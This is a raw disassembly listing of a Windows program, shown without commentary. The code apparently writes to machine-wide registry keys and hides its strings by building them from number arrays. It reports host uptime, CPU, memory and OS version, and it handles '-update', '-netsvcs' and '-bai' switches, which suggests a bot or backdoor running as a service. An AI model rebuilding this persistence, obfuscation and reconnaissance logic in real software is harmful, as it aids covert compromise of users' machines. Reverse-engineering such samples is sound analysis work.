		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019B5
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017E4
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		call	near ptr 2920000h
		nop
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_50F738
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017E4
		mov	ebp, dword_50F764
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h,	244C8DFFh
		dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h
		dd 9C884C24h, 17C24h, 0C11BE800h, 0E850FFFFh, 23DA4B8h
		dd 6A006A90h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h
		dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h,	742484C6h
		dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h,	50FFFFBCh
		dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h
		dd 50FFFFBAh, 0AD16E890h, 548D023Ch, 4C8D1024h,	68527824h
		dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h
		dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h,	0FFBBE3E8h
		dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h,	174h, 0FFB60DE8h
		dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah
		dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah
		dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h
		dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch
		dd 0B7E80000h, 68FFFFB5h, 104h,	10468h,	244C8D00h, 0BFDBE84Ch
		dd 9050FFFFh, 3DA377E8h, 6A006A02h, 6A186A05h, 6A4E6A05h
		dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h
		dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h
		dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh,	84684C24h
		dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh,	74249C88h
		dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh
		dd 23CABD0h, 1024448Dh,	78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h
		dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h
		dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh
		dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh
		dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h
		dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah
		dd 136A196Ah, 96A0E6Ah,	3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh
		dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh
		dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h
		dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh
		dd 3DA233E8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h
		dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h,	30C483FFh
		dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh
		dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h,	0FFB214E8h
		dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h,	0FFFFB3FAh
		dd 44244C8Dh, 0FFB84CE8h, 91E850FFh, 90023CAAh,	10244C8Dh
		dd 3F6851h, 6A000Fh, 84248C8Dh,	0E8000000h, 0FFFFB990h
		dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah
		dd 106A046Ah, 46A156Ah,	548D476Ah, 46A4824h, 0BB33E852h
		dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h
		dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h,	6A056A18h
		dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h
		dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h
		dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h
		dd 4AE84C24h, 50FFFFBDh, 0A0E6E890h, 6A023Dh, 186A056Ah
		dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh
		dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h
		dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h
		dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch
		dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch,	0FFFFB6FDh
		dd 41E89050h, 8D023CA9h, 8D102454h, 5278244Ch, 0F003F68h
		dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah
		dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h
		dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h
		dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h,	6A056A18h
		dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h
		dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h
		dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h
		dd 0AE84C24h, 50FFFFBCh, 9FA6E890h, 6A023Dh, 186A056Ah
		dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh
		dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h
		dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h
		dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch
		dd 174249Ch, 6BE80000h,	8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh
		dd 1E89050h, 8D023CA8h,	8D102444h, 5078244Ch, 0F003F68h
		dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah
		dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh,	6A000000h
		dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h
		dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h
		dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h
		dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h,	44362Ch
		dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h
		dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h,	174h, 0FFFFFFFFh
		dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066E0	proc near		; CODE XREF: sub_40194Cj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_401424
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406731
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_4020F4
		mov	[esp+38h+var_28], ebp
		jmp	loc_4067D7
; ---------------------------------------------------------------------------


loc_406731:				; CODE XREF: sub_4066E0+3Aj
		nop
		call	near ptr 27D07CDh
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_4067C3
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		jmp	short loc_4067D3
; ---------------------------------------------------------------------------


loc_4067C3:				; CODE XREF: sub_4066E0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861


loc_4067D3:				; CODE XREF: sub_4066E0+E1j
		mov	[esp+38h+var_28], ebp


loc_4067D7:				; CODE XREF: sub_4066E0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: ___:00401668j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_446F70
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406890	proc near		; CODE XREF: sub_401F3Cj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_401424
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 27D07CDh
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2810000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		call	near ptr 2800000h
		nop
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40695E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406946
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406936
		mov	ebp, offset a95	; "95"
		jmp	loc_4069D1
; ---------------------------------------------------------------------------


loc_406936:				; CODE XREF: sub_406890+9Aj
		cmp	eax, 2
		jnz	loc_4069CD
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40699A
; ---------------------------------------------------------------------------


loc_406946:				; CODE XREF: sub_406890+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406952
		mov	ebp, offset a98	; "98"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406952:				; CODE XREF: sub_406890+B9j
		cmp	eax, 5Ah
		jnz	short loc_40698B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_40695E:				; CODE XREF: sub_406890+83j
		cmp	eax, 5
		jnz	short loc_40698B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406975
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406975:				; CODE XREF: sub_406890+DCj
		cmp	eax, 1
		jnz	short loc_406981
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: sub_406890+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406990


loc_40698B:				; CODE XREF: sub_406890+C5j
					; sub_406890+D1j
		mov	ebp, offset a??? ; "???"


loc_406990:				; CODE XREF: sub_406890+C0j
					; sub_406890+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_4069D1


loc_40699A:				; CODE XREF: sub_406890+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_4069D1
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		call	sub_5EDAB2
		nop
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_4069D1
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406890+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_4069D1:				; CODE XREF: sub_406890+A1j
					; sub_406890+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		call	near ptr 27F113Bh
		nop
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		nop
		call	near ptr 2900D00h
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017F3
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BA0	proc near		; CODE XREF: sub_4015DCj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406BD0:				; CODE XREF: ___:00401F8Cj
		push	esi
		mov	esi, ecx
		call	sub_40143D
		test	byte ptr [esp+8], 1
		jz	short loc_406BE8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406BE8:				; CODE XREF: ___:00406BDDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C00	proc near		; CODE XREF: sub_40143Dj
		mov	dword ptr [ecx], offset	off_43E008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C17
		push	ecx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C17:				; CODE XREF: sub_406C00+Ej
		retn
sub_406C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C30	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406C61
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C61:				; CODE XREF: sub_406C30+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
sub_406C30	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_50FAF4
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_443600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D12:				; CODE XREF: ___:00406D24j
		push	offset asc_443600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D12
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F18
		lea	ebp, [esp+58h]


loc_406D38:				; CODE XREF: ___:00406F10j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4437EC
		mov	eax, edi


loc_406D42:				; CODE XREF: ___:00406D60j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D66
		test	cl, cl
		jz	short loc_406D62
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D66
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D42


loc_406D62:				; CODE XREF: ___:00406D4Cj
		xor	eax, eax
		jmp	short loc_406D6B
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: ___:00406D48j
					; ___:00406D56j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406D6B:				; CODE XREF: ___:00406D64j
		test	eax, eax
		jz	loc_406F08
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406D7A:				; CODE XREF: ___:00406D98j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D9E
		test	cl, cl
		jz	short loc_406D9A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D9E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D7A


loc_406D9A:				; CODE XREF: ___:00406D84j
		xor	eax, eax
		jmp	short loc_406DA3
; ---------------------------------------------------------------------------


loc_406D9E:				; CODE XREF: ___:00406D80j
					; ___:00406D8Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DA3:				; CODE XREF: ___:00406D9Cj
		test	eax, eax
		jnz	short loc_406DB0
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DB0:				; CODE XREF: ___:00406DA5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406DB7:				; CODE XREF: ___:00406DD5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DDB
		test	cl, cl
		jz	short loc_406DD7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DB7


loc_406DD7:				; CODE XREF: ___:00406DC1j
		xor	eax, eax
		jmp	short loc_406DE0
; ---------------------------------------------------------------------------


loc_406DDB:				; CODE XREF: ___:00406DBDj
					; ___:00406DCBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DE0:				; CODE XREF: ___:00406DD9j
		test	eax, eax
		jnz	short loc_406DED
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DED:				; CODE XREF: ___:00406DE2j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406DF4:				; CODE XREF: ___:00406E12j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E18
		test	cl, cl
		jz	short loc_406E14
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DF4


loc_406E14:				; CODE XREF: ___:00406DFEj
		xor	eax, eax
		jmp	short loc_406E1D
; ---------------------------------------------------------------------------


loc_406E18:				; CODE XREF: ___:00406DFAj
					; ___:00406E08j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E1D:				; CODE XREF: ___:00406E16j
		test	eax, eax
		jnz	loc_406F08
		lea	ecx, [esp+10h]
		call	sub_401424
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406EF4
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015D7
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406EF4
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_401681
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406EF4:				; CODE XREF: ___:00406E51j
					; ___:00406EA1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F08:				; CODE XREF: ___:00406D6Dj
					; ___:00406DABj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D38
		xor	ecx, ecx


loc_406F18:				; CODE XREF: ___:00406D2Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F25
		mov	[ebx+5], ecx


loc_406F25:				; CODE XREF: ___:00406F20j
		cmp	[ebx+5], ecx
		jnz	short loc_406F35
		test	al, al
		jz	short loc_406F35
		mov	dword ptr [ebx+5], 0Ah


loc_406F35:				; CODE XREF: ___:00406F28j
					; ___:00406F2Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407030	proc near		; CODE XREF: sub_40209Fj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407030
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_401564
sub_407030	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43E00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
